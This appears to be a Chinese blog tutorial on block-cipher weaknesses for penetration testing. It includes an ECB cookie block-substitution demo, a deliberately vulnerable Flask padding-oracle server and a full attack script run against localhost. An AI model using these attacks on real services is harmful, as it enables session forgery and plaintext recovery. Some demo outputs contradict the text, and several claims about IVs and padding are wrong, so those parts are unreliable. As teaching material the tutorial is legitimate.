前置知识编码哈希加密密钥无无有可逆性可逆,任何人不可逆凭密钥可逆输出长度变长固定变长目的数据格式转换完整性校验/指纹机密性编码Python複製import base64 # 编码 data = b"admin:123456" encoded = base64.b64encode(data) print(encoded) # 解码 decoded = base64.b64decode(encoded) print(decoded)Base64字符集固定:A-Z、a-z、0-9、+/=,末尾有可能有0-2个等号。编码不隐藏任何信息,仅仅改变表现形式。HTTP Basic 认证头里就是Base64编码的账密,抓包直接解码;JWT:第二部分是Base64url编码的json,直接解析就能看到载荷。哈希Python複製import hashlib md5_1 = hashlib.md5(b"password").hexdigest() md5_2 = hashlib.md5(b"Password").hexdigest() md5_3 = hashlib.md5(b"admin").hexdigest() print(md5_1) print(md5_2) print(md5_3) sha256_1 = hashlib.sha256(b"password").hexdigest() sha256_2 = hashlib.sha256(b"admin").hexdigest() print(sha256_1) print(sha256_2)输出是固定长度(MD5:128bit->32位HEX),(SHA256:256bit->64位HEX)雪崩效应:输入/改变1bit,输出变化巨大。渗透:弱HASH(MD5、SHA1)可碰撞,但最实际的是彩虹表。加盐(salt):hash(salt+password)让相同密码产生不同哈希,但盐值在代码里泄露等于没加。加密与密钥定义:加密是将明文经密钥控制转换为不可读密文,密钥长度决定暴力破解难度。对称非对称一、算法与随机数分类:1.1 按照加密方式分分组加密算法:基于分组“block”进行操作,根据算法的不同,每个分组的长度也可能不同代表:DES、3-DES、Blowfish、IDEA、AES等流加密算法:每次只处理一个字节,密钥独立于消息之外,两者通过异或或现实加密与解密。代表:RC4、ORYX、SEAL1.2 按密钥是否相同划分1.2.1 对称加密算法(Symmetric):加密和解密使用同一个密钥。这种加密方式速度快,适合经常发送数据的场合,缺点就是密钥传输比较麻烦。从程序角度来看,所谓加密,就是一个函数:它接受密码和明文,然后输出密文:secret = encrypt(key,message);而解密则相反,它接受密码和密文,然后输出明文:plain = decrypt(key,secret)代表产品AES:支持的工作模式有:ECB/CBC/PCBC/CTR...... 支持的填充模式有:NoPadding/PKCS7Padding.....DES:支持的工作模式有:ECB/CBC/PCBC/CTR...... 支持的填充模式有:NoPadding/PKCS5Padding/PKCS7Padding.....IDEA:支持的工作模式有:ECB 支持的填充模式有:NoPadding/PKCS7Padding.....1.2.2 非对称加密算法(Asymmetric):加密和解密使用一对儿密钥(公钥加密,私钥解密,或私钥签名,公钥验签)RSA/ECC(椭圆曲线)公钥进行加密,私钥进行解密,速度慢,适合偶尔发送的数据。优点是传输方便适用场景:SSL/HTTPS握手、数字签名、安全传输对称密钥。代表产品:RSA、ECC等1.2.3 两者的区别加密和解密过程不同:对称加密过程和解密过程使用的是同一个密钥,加密过程相当于用原文+密钥可以传输出密文,同时解密过程用密文-密钥可以推导出原文。非对称加密采用了两个密钥,一般使用公钥加密,私钥解密。加密解密速度不同:对称加密解密的速度比较快,适合数据比较长的时候使用。非对称加密和解密花费时间长,速度相对较慢,只适合少量数据的使用。传输的安全性不同:对称加密的过程中无法确保密钥被安全传递,密文在传输过程中可能被第三方截获,如果密码本也被第三方截获,则传输的密码信息将别第三方破获,安全性相对较低。非对称加密算法中,私钥是基于不同算法生成不同的随机数,私钥通过一定的加密算法推导出公钥,但私钥到公钥的推导过程是单向的,也就是说公钥无法反推出私钥。所以安全性较高。哈希算法(Hash/摘要):单项函数、将任意长度数据转为固定长度指纹,不可逆。MD5/SHA-1/SHA256。适用场景:验证文件的完整性(防篡改)、存储密码(服务器只存指纹、不存明文密码)。MD5算法(已经被破解)1.3 按加密模式分类常见的加密方式:ECB/CBC/CFB/OFB/CTR等ECB与CBC模式的区别:ECB模式只进行了加密,而CBC在加密前进行了一次XOR1.4 ECB模式(电子密码本模式)是最简单的一种加密模式,它将明文分为若干个组(Block),每个分组之间相对独立的与key进行加密运算,最后将密文组合起来。攻击方式:它最大的问题也就出在这种分组的独立性上:对于ECB来说,改变分组密文的顺序,将改变解密后的明文顺序,替换某个分组的密文,解密后该对应分组的明文也会被替换,而其他组不受影响。当需要加密的明文多于一个分组的长度时,应该避免使用ECB。算法定义:各分组完全独立加密缺陷:相同明文块产生相同密文块,导致密文保留了明文的统计特征。分组密码与填充分组密码(AES):一次处理固定块(16字节)。不足的块要填充。PKCS#7填充:缺N个字节就填N个 0xN。如块大小16数据15字节,补一个0x01;数据9字节,补7个0x07。填充就是Padding Oracle攻击的根源。Python複製from Crypto.Util.Padding import pad data = b"Hello World" # 11字节 padded = pad(data,16) print(padded) # Hello World\x05\x05\x05\x05\x05 print(padded.hex()) # 48656c6c6f20576f726c640505050505 # 缺5个字节,填充5个0x05示例下载:https://cloud.komll.com/s/6RUN这是ECB前的图片Pythonfrom Crypto.Cipher import AES import os import sys filename = "C:\\Users\\82375\\Desktop\\1.bmp" with open(filename, "rb") as f: bmp_data = f.read() # 获取像素数据偏移量(注意:这里不要加逗号!) offset = int.from_bytes(bmp_data[10:14], 'little') # 去掉末尾逗号 # 分离头部和像素数据 header = bmp_data[:offset] # 头部(包含文件头+信息头+调色板) body = bmp_data[offset:] # 实际的像素数据 # 补齐到16字节倍数(AES要求) if len(body) % 16 != 0: body += b"\x00" * (16 - len(body) % 16) # 用ECB模式加密图像数据 key = bytes.fromhex("00112233445566778899aabbccddeeff") cipher = AES.new(key, AES.MODE_ECB) encrypted_body = cipher.encrypt(body) # 组合并保存 ecb_bmp = header + encrypted_body output = filename.replace(".bmp", "-ecb.bmp") with open(output, "wb") as f: f.write(ecb_bmp) print(f"已生成: {output}") 展開 · 32 行複製ECB后的图片轮廓仍清晰可见。对于渗透测试来说:如果你在一个应用里发现了ECB模式,(如:Cookie里相同16字节片段反复出现):你就可以:构造块替换攻击:把已知明文块对应的密文块填混到另一个位置越权。通过字节移动泄露明文(字节-字节攻击)电子密码本(ECB模式)的弱点:在加密时,将明文分成固定大小16(字节)的块,每块独立加密,相同明文块-->相同密文块,快之间没有任何关联。就像一本密码本,只要看到某个密文块,就知道它对应哪个明文块。攻击者可以任意替换、删除、重拍密文块,就知道它对应哪个明文块。ECB识别与块替换攻击演示:Pythonfrom Crypto.Cipher import AES from Crypto.Util.Padding import pad,unpad import base64 # pad自动填充到16的倍数PKCS#7 # 密文用Base64编码方便传输。 KEY = b"0123456789abcdef" def encrypt_cookie(data): cipher = AES.new(KEY,AES.MODE_ECB) ct = cipher.encrypt(pad(data.encode(),16)) return base64.b64encode(ct).decode() def decrypt_cookie(cookie): ct = base64.b64decode(cookie) cipher = AES.new(KEY,AES.MODE_ECB) pt = unpad(cipher.decrypt(ct),16).decode() return pt # 注册用户“admin”,得到其cookie admin_cookie = encrypt_cookie("user=admin&role=user") admin_ct = base64.b64decode(admin_cookie) # 注册用户attacker attacker_cookie = encrypt_cookie("user=attacker&role=user") attacker_ct = base64.b64decode(attacker_cookie) # 分析块结构(打印16进制块) # 这段代码将密文按16字节(32个十六进制字符)打印,方便观察块边界。 # 明文块划分(关键):user=admin&role=user print("Admin密文块:") for i in range(0,len(admin_ct),16): print(f"块{i//16}:{admin_ct[i:i+16].hex()}") print("Attacker密文块:") for i in range(0,len(attacker_ct),16): print(f"块{i//16}:{attacker_ct[i:i+16].hex()}") # 识别重复块——ECB特征 blocks = [admin_ct[i:i+16] for i in range (0, len(admin_ct), 16)] for i, b in enumerate(blocks): for j,b2 in enumerate(blocks): if i < j and b == b2: print(f"\n[!]发现重复块:块{i} == 块{j} ->确认时ECB") # 构造越权cookie # 把admin的第二块(包含role信息)换到attacker的第二块 crafted_ct = attacker_ct[:16] + admin_ct[16:32] crafted_cookie = base64.b64encode(crafted_ct).decode() print(f"构造的Cookie:{crafted_cookie}") print(f"解密后:{decrypt_cookie(crafted_cookie)}")展開 · 52 行複製结果:Shell複製Admin密文块: 块0:6f8a05c7971cc285c7a9aa951d6b1635 块1:8f5adeb79e6020f2664c61e9cdd30816 Attacker密文块: 块0:c442f72b1166ac3eadb61fc68a4546a9 块1:0d9c28061a931af91156aa00e8e3ee80 构造的Cookie:xEL3KxFmrD6tth/GikVGqY9a3reeYCDyZkxh6c3TCBY= 解密后:user=attacker&rouser攻击者Cookie明文Python複製"user=attacker&role=user"长度:23字节->需要填充到32字节(两块)填充值:\x09 * 9块内容块0user=attcker&ro块1lle=user+\x09*9管理员Cookie明文:Python複製"user=admin&role=admin"长度:20字节->填充到32字节(2块)填充值:\x0c*12块内容块0user=admin&role=块1admin+\x0c*12操作Python複製crafted_ct = attacker_ct[:16] + admin_ct[16:32]保留攻击者的第一个密文块,替换管理员的第二个密文块给攻击者解密后:第一个块解密-->user=attacker&ro第二个块解密-->admin+\x0c*12结果:Shell複製user=admin&ro=admin通过填充调整,使role=出现在块1起始位置,然后替换块1位管理员的对应块(包含role=admin)部分。为什么不是role=admin因为在攻击者明文中,role=中的ro位于块0的末尾,le位于块1的开头。我们只替换了块1所以我替换的是le=user这一部分而不是整个role=user。所以结果就是块0开头的ro与块1的新内容admin拼成了roadmin,原本的le= 消失了那怎么办?方法一:构造攻击者的明文,使得role=完整地位于一个块的开头。Python複製"user=attacker&x=role=user"方法二:同时替换两个块(更复杂的拼接)如果攻击者明文长度恰好使role=跨块,你需要同时替换两个块,才能完整换role=user-->role=admin会导致用户名也被改变所以必须精心设计攻击者明文,使user=和role=分开在不同的块中,且各自独立。1.5 CBC(密码分组链接模式)英文:Cipher Block Chaining概念:首先将密文分成若干组后,第一个分组与初始向量(IV)进行XOR运算(异或运算),然后进行加密,下一个分组与前一个密进行XOR运算,然后再进行加密,直至所有的分组加密完成。实际应用:确保互联网安全的通信协议之一:SSL/TLS,就是使用CBC模式来确保通信机密性的,如使用CBC模式三重的DES的3DES_EDE_CBC以及CBC模式256比特AES的AES_256_CBC等等注意的地方:向量(IV)必须是一个与密钥长度相等的数据由于在加密前和解密后都会做异或运算,因此我们的明文可以不用补全,不是16字节的倍数也可以,CBC中会自动用0补全进行异或预算。在解密时是解密后才会再做异或运算,保证数据解密成功。由于自动进行了补全,所以解密出的数据也会在后面补全0,因此获取到数据时,需要将末尾的0去除,或者根据源数据长度来截取解密后的数据。算法定义:首块需要使用随机切不可预测的初始化向量。工程缺陷:无完整性保障,攻击者可以通过位反转攻击(Bit-Flipping),精准操控解密后的明文特定比特位(修改金额、权限位)致命的侧信道:配置填充方案时。极易遭受填充语言攻击(Padding Oracle Attack)。1.5.1 什么是异或(XOR)一句话来说:“相同为0,不同为1”(针对二进制)複製0 ⊕ 0 = 0 1 ⊕ 1 = 0 0 ⊕ 1 = 1 1 ⊕ 0 = 11.5.2 异或(XOR)的数学性质(加密就靠它)性质公式人话自反性A⊕B⊕B = A同一个数异或两次,回到自己。(解密)可交换/结合顺序随便换多个异或可以任意调换顺序重点:加密时做一次 密文=明文⊕密钥,解密时再做一次明文= 密文⊕密钥,两次异或就还原了。複製1⊕1⊕1=1 明文⊕密钥=密文 密文⊕密钥=明文1.5.3 CBC模式与IV安全複製IV ⊕ P1 --> E(K) = C1IV和P1先混合一下,把混合后的结果送去AES加密,得到C1拆解:IV = 0x0F (十六进制,二进制00001111)P1 = 0xA5(二进制:10100101)AES加密先不管内部,把它看做一个黑盒子,输入什么输出什么(假设加密函数E(K)只是简单的把输入*2)第一步 IV ⊕ P1複製1 0 1 0 0 1 0 1(P1) ⊕ 0 0 0 0 1 1 1 1(VI) --------------------------------- 1 0 1 0 1 0 1 0(结果=0xAA)第二步:把混合的结果送去加密函数E(K)E(K)的输入 = 0xAA假设加密函数(用密钥K)把输入乘以2:複製E(K,0xAA) = 0xAA * 2 = 0x154第三步:加密函数的输出就是密文块C1複製C1 = 0x154第四步:整个公式连起来看:複製-IV--⊕--P1---->--------E(K)---------=-----C1---- 0x0F ⊕ 0xA5 -->得到 0xAA -->送去加密-->得到了0x154 IV:随机种子 P1:明文数据 E(K): E()加密方法 如AES K是密钥 C1:加密后结果为啥要把这么简单事情搞这么复杂?如果不做异或,直接加密P1:同样的P1永远得到同样的C1(漏洞)攻击者能看出你发两次相同的指令做了异或后:只要IV变了,IV⊕P1的结果就变了。送进去加密函数的输入完全不同最终C1也不同漏洞点:IV必须不可预测。若攻击者可以在加密前控制IV(如CSRF配合加密接口),可构造选择明文攻击。IV固定甚至硬编码为0:导致相同前缀明文产生相同密文块,泄露信息。Pythonfrom Crypto.Cipher import AES from Crypto.Util.Padding import pad key = b"0123456789abcdef" data = b"A" * 32 # 错误:固定IV bad_iv = b"\x00" * 16 cipher1 = AES.new(key,AES.MODE_CBC,iv=bad_iv) ct1 = cipher1.encrypt(pad(data, 16)) cipher2 = AES.new(key,AES.MODE_CBC,iv=bad_iv) ct2 = cipher2.encrypt(pad(data, 16)) print(f"两次加密结果相同:{ct1 == ct2}") # 正确:随机IV import os good_iv1 = os.urandom(16) good_iv2 = os.urandom(16) cipher3 = AES.new(key,AES.MODE_CBC,iv=good_iv1) ct3 = cipher3.encrypt(pad(data, 16)) cipher4 = AES.new(key,AES.MODE_CBC,iv=good_iv2) ct4 = cipher4.encrypt(pad(data, 16)) print(f"两次加密结果相同:{ct3 == ct4}")展開 · 27 行複製运行结果:複製两次加密结果相同:True 两次加密结果相同:FalseIV是什么?你可以把它想象成加密的“盐salt”或初始种子:它是一个随机数,在加密开始时使用长度固定(AES-CBC 是 16字节)不需要保密,可以随密文一起传输。为什么需要IV?如果没有IV或固定IV时:複製明文 "Hello" --> 加密 --> "abc123" 明文 "Hello" --> 加密 --> "abc123" (相同明文-->相同密文)攻击者看到两次相同密文,就知道你发了相同的内容。有随机IV时:複製明文 "Hello" --> 加密 --> "xyz789" 明文 "Hello" --> 加密 --> "def456" (相同明文-->不同密文)每次结果都不同,攻击者无法通过密文模式推断信息。随机IV作为密文的一部分,明文传输,解密时直接拿出来用。IV不是秘密,它只是扰乱工具,真正保密的是密钥K複製[16字节IV]+[密文C1]+[密文C2]+.......先读取前16字节-->得到IV用这个IV解第一块后续块用前一块密文(不需要额外传)Pythonfrom Crypto.Cipher import AES from Crypto.Util.Padding import pad,unpad import os key = b"0123456789abcdef" data = b"Hello World! This is a secret." # 加密方 iv = os.urandom(16) # 随机生成IV cipher = AES.new(key, AES.MODE_CBC, iv = iv) ct = cipher.encrypt(pad(data,16)) # 发送给解密方: IV + 密文 message = iv + ct # 把密文拼接在前面 print(f"发送的数据长度:{len(message)}字节") # 解密方 # 从消息中拆出IV和密文 received_iv = message[:16] # 取前16字节 received_ct = message[16:] # 剩下的都是密文 # 用同一个IV解密 cipher2 = AES.new(key, AES.MODE_CBC, iv=received_iv) decrypted = unpad(cipher2.decrypt(received_ct),16) print(f"解密结果:{decrypted.decode()}")展開 · 26 行複製运行结果:Shell複製发送的数据长度:48字节 解密结果:Hello World! This is a secret.1.5.4 Padding Oracle攻击Padding Oracle 攻击是一种利用CBC模式解密时填充校验的侧信道漏洞,允许攻击者在不知道密钥的情况下,通过反复篡改密文并观察服务器返回的“填充正确/错误”,逐步恢复出任意密文对应的明文。前置知识:CBC模式与PKCS#7填充CBC(Cipher Block Chaining):加密时,每个明文块先与前一个密文块异或,在用密钥加密,解密时,每个密文块先用密钥解密,再与前一个密文块或(IV)异或得到明文块。PKCS#7填充:为了使明文长度为块大小(16字节)的整数倍,在末尾填充N个字节,每个字节的值都为N(N从1到16)。解密后,服务器会检查填充是否和发,若不符合则抛出异常。PaddingOracle:服务器在解密后,根据填充是否合法,向外界返回不同的响应,攻击者利用这种信息差异作为“预言”(Oracle),推断中间状态值。环境:用python实现一个存在漏洞的解密服务器,提供解密接口并返回不同信息。如果解密后填充正确“解密成功”如果填充错误:“填充错误”Python""" padding_oracle_server.py 存在Padding Oracle漏洞的服务端模拟 """ from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from flask import Flask, request app = Flask(__name__) SERVER_KEY = b"0123456789abcdef" # 攻击者不知道的密钥 @app.route('/decrypt') def decrypt(): iv_hex = request.args.get('iv', '') ct_hex = request.args.get('ciphertext', '') try: iv = bytes.fromhex(iv_hex) ct = bytes.fromhex(ct_hex) cipher = AES.new(SERVER_KEY, AES.MODE_CBC, iv=iv) plaintext = cipher.decrypt(ct) unpad(plaintext, 16) return "解密成功", 200 except ValueError: return "填充错误", 500 except Exception as e: return f"其他错误: {str(e)}", 500 if __name__ == '__main__': app.run(port=5000)展開 · 30 行複製攻击原理:最后一个字节的填充智能是0x01或0x02等。我们篡改IV的最后一个字节,向服务器发送,看是否报填充错误。如果没有报错,说明我们使得明文的最后一个字节变成了合法填充(例如0x01)。此时篡改后的IV字节 ⊕实际明文最后一个字节 0x01 ,意识可的真实明文字节。依次向前推,逐字节解密整块明文。Padding Oracle攻击python实现。Python""" padding_oracle_attack.py 针对上述漏洞服务器的完整攻击脚本 """ import requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad import os # === 配置 === TARGET_URL = "http://localhost:5000/decrypt" SERVER_KEY = b"0123456789abcdef" # 实际攻击中不知道,这里用于生成合法密文 # === 正常加密一个消息(模拟服务器,攻击中我们只有密文和IV) === original_plaintext = b"password=secret!" # 我们想解密的目标 iv = os.urandom(16) cipher = AES.new(SERVER_KEY, AES.MODE_CBC, iv=iv) ct = cipher.encrypt(pad(original_plaintext, 16)) print(f"目标密文: {ct.hex()}") print(f"IV: {iv.hex()}") print(f"原始明文: {original_plaintext}") # === Padding Oracle函数 === def oracle(test_iv_hex, test_ct_hex): """向服务器查询,返回True表示填充正确""" resp = requests.get(TARGET_URL, params={ 'iv': test_iv_hex, 'ciphertext': test_ct_hex }) return "解密成功" in resp.text # === 攻击:解密一个密文块 === def decrypt_block(prev_block, target_block): """ prev_block: 前一个密文块(或IV),bytes,16字节 target_block: 要解密的密文块,bytes,16字节 返回解密后的明文,bytes,16字节 """ plaintext = bytearray(16) for byte_pos in range(15, -1, -1): padding_value = 16 - byte_pos # 构造测试块 test_block = bytearray(16) # 后面的字节已经知道,设置它们使解密后等于padding_value for i in range(byte_pos + 1, 16): test_block[i] = prev_block[i] ^ plaintext[i] ^ padding_value found = False for guess in range(256): test_block[byte_pos] = prev_block[byte_pos] ^ guess ^ padding_value if oracle(test_block.hex(), target_block.hex()): plaintext[byte_pos] = guess char = chr(guess) if 32 <= guess < 127 else '?' print(f" 位置 {byte_pos}: 0x{guess:02x} ('{char}')") found = True break if not found: # 处理填充歧义 if byte_pos < 15: test_block[byte_pos + 1] ^= 1 for guess in range(256): test_block[byte_pos] = prev_block[byte_pos] ^ guess ^ padding_value if oracle(test_block.hex(), target_block.hex()): plaintext[byte_pos] = guess print(f" 位置 {byte_pos}: 0x{guess:02x} (调整后)") found = True break if not found: print(f" 位置 {byte_pos}: 未找到!") return bytes(plaintext) # === 执行攻击 === print("\n开始Padding Oracle攻击...") print("逐字节解密密文块:") recovered = decrypt_block(iv, ct[:16]) print(f"\n恢复的明文块: {recovered}") # 去掉填充 from Crypto.Util.Padding import unpad final_plaintext = unpad(recovered, 16) print(f"最终明文: {final_plaintext}")展開 · 88 行複製前提:攻击者需要能区分填充正确与否(错误消息差异、响应时间差异等)。这是渗透测试中在登录、重置密码等接口常见的疏忽。1.6 填充方式1.6.1 简介如果明文不是128位(16字节)则需要进行填充,即在明文的某个地方补充到16个字节的整数倍的长度,加解密时需要采用同样的填充方式,否则无法解密成功。1.6.2 NoPadding不进行填充,但这里要求明文必须是16字节的整数倍,这个可以使用者本身自己实现填充,除了该模式外的其他填充模式,如果已经是16个字节的数据的话,会在填充一个16字节数据。1.6.3 PKCS5Padding在明文的末尾进行填充,填充的数据是当前和16字节相差的数量,最后一个字节肯定为填充数据的长度,所以在解密后可以准确删除填充的数据。填充前:1,2,3,4,5,6,7,8,9,10,11填充后:1,2,3,4,5,6,7,8,9,10,11,5,5,5,5,51.6.4 PKCS7PaddingPKCS7和PKCS5的区别就是数据分块的大小PKCS5填充块的大小为8Byte(64位)PKCS7填充块的大小可以在1-255Byte之间二、常见加密算法2.1 AES(Advanced Encryption Standard)高级加密标准,是最常见的对称加密算法。2.1.1 各参数的意义Key length:指的是密钥的长度,一般有AES128、AES192、AES256(128位、192位、256位)。128位对应的是16字节,所以部分平台库上,会使用16个字符或者长度为16的字符串来做密码。Key:指的就是密码,AES128就是128位的,如果位数不够,某些库可能会自动填充到128IV(向量):IV称为初始向量,不同的IV加密后的字符串是不同的,加密和解密需要相同的IVmode(加密模式):AES分为几种模式如:ECB、CBC、CFB等,这些模式除了ECB没有使用IV而不太安全,其他模式差别名没有太明显。padding(填充模式):对于加密解密两端需要使用统一的Padding模式,大部分Padding模式为,PKCS5、PKCS7、NoPadding2.2 国密算法2.2.1 简介国密算法是国家密码局认定的国产密码算法。主要有 SM1、SM2、SM3、SM4。2.2.2 各算法的区别SM1:为对称加密,其加密强度与AES相当。该算法不公开,调用该算法时,需要通过加密芯片的接口进行。SM2:为非对称加密,基于ECC。该算法已公开。由于该算法基于ECC,故其签名速度与密钥生成速度都快于RSA。ECC256位(SM2采用的就是ECC256位的一种)安全强度比RSA2048位还要高,但运算速度快于RSA。SM3:SM3消息摘要。可用于MD5作为对比理解。该算法已公开。校验结果为256位。SM4:无线局域网标准的分组数据算法。对称加密,密钥长度和分组均为128位。算法类型密钥长度输入数据要求输出数据特征SM2非对称加密公钥长度:64字节<br />私钥长度32字节长度小于1374亿字节输出长度是明文长度+96,有随机数参数,每次密文不同SM3摘要算法无要求固定长度32字节SM4对称加密16字节分析组长度16字节,需要填充到16字节的整数倍。有CBC和ECB两种模式,CBC需要设定初始向量。长度为16字节的整数倍2.2.3 SM2SM2与RSA算法对比SM2算法和RSA算法都是公钥密码算法,SM2算法与RS算法不同的是,SM2算法是基于椭圆曲线上点群离散对数难题,相对于RSA算法,256位的SM2密码强度已经比2048位的RSA强度高。通常银行测试,弱加密时要求使用此算法。三、密钥管理3.1 常见问题密钥管理中最常见的错误,就是将密钥硬编码在代码里。这个问题一般发生在测试阶段,开发图方便把密钥编码在代码里,在上线时忘记删除,造成了密钥泄露。3.2 硬编码的泄露途径3.2.1 代码被广泛传播这种泄露途径常见于一些开源软件;有的商业软件并不开源,但编译后的二进制文件被用户下载,也可能被逆向工程反编译后,泄露硬编码的密钥。可以通过Diffie-Hellman交换密钥体系,生成的公私钥来完成密钥的发放。以解决该问题。3.2.2 密钥可以被所有开发人员接触软件开发团队的成员都能查看代码,从而获知硬编码的密码。开发团队的成员如果流动性较大,则可能由此泄露。只能通过改善密钥管理来保护密钥3.3 常见做法将密钥(包括密码)保存在配置文件或数据库中,在使用时又程序读出密钥并加载进内存。密钥所在的配置文件或数据库需要严格的控制访问权限,同时也要确保运维或DBA中具有访问权限的人越少越好。定期更换密钥一个比较安全的密钥管理系统,可以将所有密钥(包括一些敏感配置文件)都集中保存在一个服务器上,并通过web service 的方式提供获取密钥的API。每个Web应用在需要使用密钥的时候,通过带认证信息的API请求,请求密钥管理系统,动态获取密钥。Web应用不能把密钥写入本地文件中,只加载到内存,这样动态获取密钥最大程度的保护了密钥的私密性。密钥的集中管理,降低了系统对于密钥的耦合性,也有利于定期更换密钥。
前置知识
编码
哈希
加密
密钥
无
无
有
可逆性
可逆,任何人
不可逆
凭密钥可逆
输出长度
变长
固定
变长
目的
数据格式转换
完整性校验/指纹
机密性
编码
哈希
加密与密钥
定义:加密是将明文经密钥控制转换为不可读密文,密钥长度决定暴力破解难度。
一、算法与随机数分类:
1.1 按照加密方式分
分组加密算法:
流加密算法:
1.2 按密钥是否相同划分
1.2.1 对称加密算法(Symmetric):
1.2.2 非对称加密算法(Asymmetric):
1.2.3 两者的区别
哈希算法(Hash/摘要):单项函数、将任意长度数据转为固定长度指纹,不可逆。MD5/SHA-1/SHA256。
1.3 按加密模式分类
常见的加密方式:ECB/CBC/CFB/OFB/CTR等
ECB与CBC模式的区别:ECB模式只进行了加密,而CBC在加密前进行了一次XOR
1.4 ECB模式(电子密码本模式)
是最简单的一种加密模式,它将明文分为若干个组(Block),每个分组之间相对独立的与key进行加密运算,最后将密文组合起来。
分组密码与填充
分组密码(AES):一次处理固定块(16字节)。不足的块要填充。
PKCS#7填充:缺N个字节就填N个 0xN。如块大小16数据15字节,补一个0x01;数据9字节,补7个0x07。
填充就是Padding Oracle攻击的根源。
示例下载:https://cloud.komll.com/s/6RUN
这是ECB前的图片
ECB后的图片
轮廓仍清晰可见。
对于渗透测试来说:如果你在一个应用里发现了ECB模式,(如:Cookie里相同16字节片段反复出现):你就可以:
电子密码本(ECB模式)的弱点:在加密时,将明文分成固定大小16(字节)的块,每块独立加密,相同明文块-->相同密文块,快之间没有任何关联。就像一本密码本,只要看到某个密文块,就知道它对应哪个明文块。
攻击者可以任意替换、删除、重拍密文块,就知道它对应哪个明文块。
ECB识别与块替换攻击演示:
结果:
块
内容
块0
user=attcker&ro
块1
lle=user+\x09*9
块
内容
块0
user=admin&role=
块1
admin+\x0c*12
解密后:
结果:
通过填充调整,使role=出现在块1起始位置,然后替换块1位管理员的对应块(包含role=admin)部分。
为什么不是role=admin
因为在攻击者明文中,role=中的ro位于块0的末尾,le位于块1的开头。
我们只替换了块1所以我替换的是le=user这一部分而不是整个role=user。
所以结果就是块0开头的ro与块1的新内容admin拼成了roadmin,原本的le= 消失了
那怎么办?
方法一:
方法二:
同时替换两个块(更复杂的拼接)
如果攻击者明文长度恰好使role=跨块,你需要同时替换两个块,才能完整换role=user-->role=admin会导致用户名也被改变
所以必须精心设计攻击者明文,使user=和role=分开在不同的块中,且各自独立。
1.5 CBC(密码分组链接模式)
英文:Cipher Block Chaining
概念:首先将密文分成若干组后,第一个分组与初始向量(IV)进行XOR运算(异或运算),然后进行加密,下一个分组与前一个密进行XOR运算,然后再进行加密,直至所有的分组加密完成。
实际应用:
注意的地方:
1.5.1 什么是异或(XOR)
一句话来说:“相同为0,不同为1”(针对二进制)
1.5.2 异或(XOR)的数学性质(加密就靠它)
性质
公式
人话
自反性
A⊕B⊕B = A
同一个数异或两次,回到自己。(解密)
可交换/结合
顺序随便换
多个异或可以任意调换顺序
重点:加密时做一次 密文=明文⊕密钥,解密时再做一次明文= 密文⊕密钥,两次异或就还原了。
1.5.3 CBC模式与IV安全
IV和P1先混合一下,把混合后的结果送去AES加密,得到C1
拆解:
IV = 0x0F (十六进制,二进制00001111)
P1 = 0xA5(二进制:10100101)
第一步 IV ⊕ P1
第二步:把混合的结果送去加密函数E(K)
E(K)的输入 = 0xAA
假设加密函数(用密钥K)把输入乘以2:
第三步:加密函数的输出就是密文块C1
第四步:整个公式连起来看:
为啥要把这么简单事情搞这么复杂?
如果不做异或,直接加密P1:
做了异或后:
漏洞点:
运行结果:
IV是什么?
为什么需要IV?
如果没有IV或固定IV时:
攻击者看到两次相同密文,就知道你发了相同的内容。
有随机IV时:
每次结果都不同,攻击者无法通过密文模式推断信息。
随机IV作为密文的一部分,明文传输,解密时直接拿出来用。
IV不是秘密,它只是扰乱工具,真正保密的是密钥K
运行结果:
1.5.4 Padding Oracle攻击
Padding Oracle 攻击是一种利用CBC模式解密时填充校验的侧信道漏洞,允许攻击者在不知道密钥的情况下,通过反复篡改密文并观察服务器返回的“填充正确/错误”,逐步恢复出任意密文对应的明文。
前置知识:CBC模式与PKCS#7填充
环境:用python实现一个存在漏洞的解密服务器,提供解密接口并返回不同信息。
Padding Oracle攻击python实现。
前提:攻击者需要能区分填充正确与否(错误消息差异、响应时间差异等)。这是渗透测试中在登录、重置密码等接口常见的疏忽。
1.6 填充方式
1.6.1 简介
如果明文不是128位(16字节)则需要进行填充,即在明文的某个地方补充到16个字节的整数倍的长度,加解密时需要采用同样的填充方式,否则无法解密成功。
1.6.2 NoPadding
不进行填充,但这里要求明文必须是16字节的整数倍,这个可以使用者本身自己实现填充,除了该模式外的其他填充模式,如果已经是16个字节的数据的话,会在填充一个16字节数据。
1.6.3 PKCS5Padding
在明文的末尾进行填充,填充的数据是当前和16字节相差的数量,最后一个字节肯定为填充数据的长度,所以在解密后可以准确删除填充的数据。
填充前:1,2,3,4,5,6,7,8,9,10,11
填充后:1,2,3,4,5,6,7,8,9,10,11,5,5,5,5,5
1.6.4 PKCS7Padding
PKCS7和PKCS5的区别就是数据分块的大小
二、常见加密算法
2.1 AES(Advanced Encryption Standard)
高级加密标准,是最常见的对称加密算法。
2.1.1 各参数的意义
2.2 国密算法
2.2.1 简介
国密算法是国家密码局认定的国产密码算法。
主要有 SM1、SM2、SM3、SM4。
2.2.2 各算法的区别
算法类型
密钥长度
输入数据要求
输出数据特征
SM2
非对称加密
公钥长度:64字节<br />私钥长度32字节
长度小于1374亿字节
输出长度是明文长度+96,有随机数参数,每次密文不同
SM3
摘要算法
无要求
固定长度32字节
SM4
对称加密
16字节
分析组长度16字节,需要填充到16字节的整数倍。有CBC和ECB两种模式,CBC需要设定初始向量。
长度为16字节的整数倍
2.2.3 SM2
SM2与RSA算法对比
三、密钥管理
3.1 常见问题
密钥管理中最常见的错误,就是将密钥硬编码在代码里。这个问题一般发生在测试阶段,开发图方便把密钥编码在代码里,在上线时忘记删除,造成了密钥泄露。
3.2 硬编码的泄露途径
3.2.1 代码被广泛传播
3.2.2 密钥可以被所有开发人员接触
3.3 常见做法